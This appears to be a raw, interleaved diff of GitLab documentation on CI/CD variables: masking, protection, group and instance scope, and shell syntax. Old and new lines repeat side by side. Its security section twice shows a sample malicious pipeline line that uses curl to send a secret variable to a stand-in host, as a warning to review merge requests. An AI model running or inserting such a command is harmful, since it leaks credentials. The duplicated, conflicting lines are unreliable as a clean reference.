=_('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
=html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.'))%{code_open: '<code>'.html_safe,code_close: '</code>'.html_safe}
%li
=html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.'))%{code_open: '<code>'.html_safe,code_close: '</code>'.html_safe}
=s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe%{link_start: link_start,link_end: '</a>'.html_safe}
=html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.'))%{code_open: '<code>'.html_safe,code_close: '</code>'.html_safe}
%li
=html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.'))%{code_open: '<code>'.html_safe,code_close: '</code>'.html_safe}
=s_('Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default.').html_safe%{link_start: link_start,link_end: '</a>'.html_safe}
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
in the project settings, not in the `.gitlab-ci.yml` file.
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: `File` or `Variable`.
- **Environment scope**: `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1. Select the **Add Variable** button and fill in the details:
After a variable is created, you can update any of the details by clicking the **{pencil}****Edit** button.
-**Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
-**Value**: No limitations.
-**Type**: [`File` or `Variable`](#cicd-variable-types).
-**Environment scope**: `All`, or specific [environments](../environments/index.md).
-**Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
-**Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
After you set a variable, call it from the `.gitlab-ci.yml` file:
After you create a variable, you can use it in the `.gitlab-ci.yml` file:
Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
### Group CI/CD variables
#### Security
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
- Do **not** use an external key store.
- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-[Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
- Merging the changes.
To add a group variable:
Here is a simplified example of a malicious `.gitlab-ci.yml`:
1. In the group, go to **Settings > CI/CD**.
1. Select the **Add Variable** button and fill in the details:
```yaml
build:
script:
-curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
-**Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
-**Value**: No limitations.
-**Type**: [`File` or `Variable`](#cicd-variable-types).
-**Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
-**Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
### Custom CI/CD variables of type Variable
To view the group-level variables available in a project:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
Variables can be masked so that the value of the variable is hidden in job logs.
You can mask a project, group, or instance CI/CD variable so the value of the variable
does not display in job logs.
To mask a variable:
1. Go to **Settings > CI/CD**.
1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, click**Edit**.
1. Next to the variable you want to protect, select**Edit**.
1. Select the **Mask variable** check box.
1. Click **Update variable**.
#### Masked variable requirements
1. Select **Update variable**.
The value of the variable must:
- Be in a single line.
- Be at least 8 characters long.
- Not be a predefined or custom CI/CD variable.
- Consist only of:
- Be a single line.
- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
- Not match the name of an existing predefined or custom CI/CD variable.
You can't mask variables that don't meet these requirements.
### Protect a CI/CD variable
### Protect a custom variable
> Introduced in GitLab 9.3.
Variables can be protected. When a variable is
protected, it is only passed to pipelines running on
[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
the protected variable.
You can protect a project, group or instance CI/CD variable so it is only passed
to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
To protect a variable:
1. Go to **Settings > CI/CD**.
1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, click**Edit**.
1. Next to the variable you want to protect, select**Edit**.
1. Select the **Protect variable** check box.
1.Click**Update variable**.
1.Select**Update variable**.
The variable is available for all subsequent pipelines.
### CI/CD variable security
Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
and send them to a third party server regardless of the masked setting. If the pipeline
runs on a [protected branch](../../user/project/protected_branches.md) or
[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
-[Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
- Merge the changes.
The following example shows malicious code in a `.gitlab-ci.yml` file:
```yaml
build:
script:
-curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
...
...
@@ -240,26 +338,21 @@ Some variables are listed in the UI so you can choose them more quickly.
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
WARNING:
When you store credentials, there are security implications. If you are using AWS keys,
for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
When you store credentials, there are [security implications](#cicd-variable-security).
If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
## Syntax of CI/CD variables in job scripts
## Use CI/CD variables in job scripts
All variables are set as environment variables in the build environment, and
they are accessible with normal methods that are used to access such variables.
In most cases `bash` or `sh` is used to execute the job script.
All CI/CD variables are set as environment variables in the job's environment.
You can use variables in job scripts with the standard formatting for each environment's
shell.
To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).
To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
| PowerShell | `$env:variable` (primary) or `$variable` |
| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |
### Use variables with Bash, `sh` and similar
### Bash
To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
To access environment variables in Bash, `sh`, and similar shells, prefix the
CI/CD variable with (`$`):
```yaml
job_name:
...
...
@@ -267,13 +360,10 @@ job_name:
-echo $CI_JOB_ID
```
### PowerShell
### Use variables with PowerShell
To access variables in a **Windows PowerShell** environment, including system set
environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
can also be accessed by prefixing the variable name with (`$`) with
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance.
In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097).
You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md).
To add an instance-level variable:
1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add variable** button, and fill in the details:
-**Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
-**Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
-**Type**: `File` or `Variable`.
-**Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
-**Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).
After a variable is created, you can update any of the details by clicking the **{pencil}****Edit** button.
### Enable or disable UI interface for instance-level CI/CD variables
The UI interface for Instance-level CI/CD variables is under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance.
To disable it:
```ruby
Feature.disable(:instance_variables_ui)
```
To enable it:
```ruby
Feature.enable(:instance_variables_ui)
...
```
## Inherit CI/CD variables
...
...
@@ -530,9 +524,9 @@ The order of precedence for variables is (from highest to lowest):
@@ -649,7 +641,7 @@ value for this specific pipeline.
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
Use variable expressions to limit which jobs are created
within a pipeline after changes are pushed to GitLab.
in a pipeline after changes are pushed to GitLab.
In `.gitlab-ci.yml`, variable expressions work with both:
...
...
@@ -774,11 +766,8 @@ so `&&` is evaluated before `||`.
#### Parentheses
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3
> - It's deployed behind a feature flag, enabled by default.
> - It's enabled on GitLab.com.
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
##### Enable or disable parenthesis support for variables **(FREE SELF)**
The feature is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
can opt to disable it for your instance.
To disable it:
```ruby
Feature.disable(:ci_if_parenthesis_enabled)
```
To enable it:
```ruby
Feature.enable(:ci_if_parenthesis_enabled)
```
### Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
...
...
@@ -834,7 +805,7 @@ The available regular expression syntax is limited. See [related issue](https://
for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
as well as from within a variable:
as well as from in a variable:
```yaml
variables:
...
...
@@ -884,8 +855,8 @@ With restricted access to debug logging, only users with
[developer or higher permissions](../../user/permissions.md#project-members-permissions)
can view job logs when debug logging is enabled with a variable in:
- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
- The CI/CD variables set within the GitLab UI.
- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- The CI/CD variables set in the GitLab UI.
WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
...
...
@@ -941,10 +912,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
working example project. It explains how multiple levels of group CI/CD variables
can be combined with environment-scoped project variables for complex configuration
of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
@@ -271,7 +271,7 @@ that you periodically confirm the scanner's authentication is still working as t
time due to authentication changes to the application.
Create masked CI/CD variables to pass the credentials that DAST uses.
To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
Note that the key of the username variable must be `DAST_USERNAME`
and the key of the password variable must be `DAST_PASSWORD`.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-custom-variable)
If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-cicd-variable)
following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name).
@@ -134,7 +134,7 @@ This example code does the following:
#### Setting up your AWS credentials with your GitLab account
In order to interact with your AWS account, the GitLab CI/CD pipelines require both `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to be defined in your GitLab settings under **Settings > CI/CD > Variables**.
For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#custom-variables-validated-by-gitlab).
The AWS credentials you provide must include IAM policies that provision correct
access control to AWS Lambda, API Gateway, CloudFormation, and IAM resources.
